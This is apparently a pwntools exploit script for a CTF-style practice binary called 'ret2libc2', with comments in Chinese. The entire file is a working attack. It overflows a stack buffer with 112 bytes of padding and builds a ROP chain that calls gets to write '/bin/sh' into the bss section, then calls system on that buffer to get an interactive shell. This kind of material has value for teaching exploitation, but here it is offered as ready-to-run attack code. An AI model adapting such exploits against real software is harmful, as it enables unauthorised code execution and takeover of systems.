from pwn import *

# 启动程序
sh = process('./ret2libc2')

# 地址常量设置
gets_plt = 0x08048460  # gets函数的PLT表项地址
system_plt = 0x08048490  # system函数的PLT表项地址
pop_ebx = 0x0804843d  # pop ebx; ret gadget地址，用于修改ebx寄存器
buf2 = 0x804a080  # buf2的地址，bss段中分配内存的位置

# 构造Payload
# Payload的结构：
# 1. 填充a字符使得覆盖到返回地址
# 2. 调用gets()函数，填充buf2
# 3. 使用pop_ebx gadget，将buf2的地址传入ebx
# 4. 调用system()函数，执行/bin/sh
payload = flat([b'a' * 112,      # 填充a字符，覆盖返回地址
                gets_plt,         # 调用gets函数
                pop_ebx,          # 使用pop_ebx gadget
                buf2,             # 将buf2的地址作为参数
                system_plt,       # 调用system函数
                0xdeadbeef,       # 一个虚假的返回地址
                buf2])            # 将buf2的地址作为system函数的参数

# 发送Payload，利用栈溢出控制程序执行
sh.sendline(payload)

# 发送/bin/sh字符串到buf2
sh.sendline(b'/bin/sh')

# 交互模式，获得shell
sh.interactive()

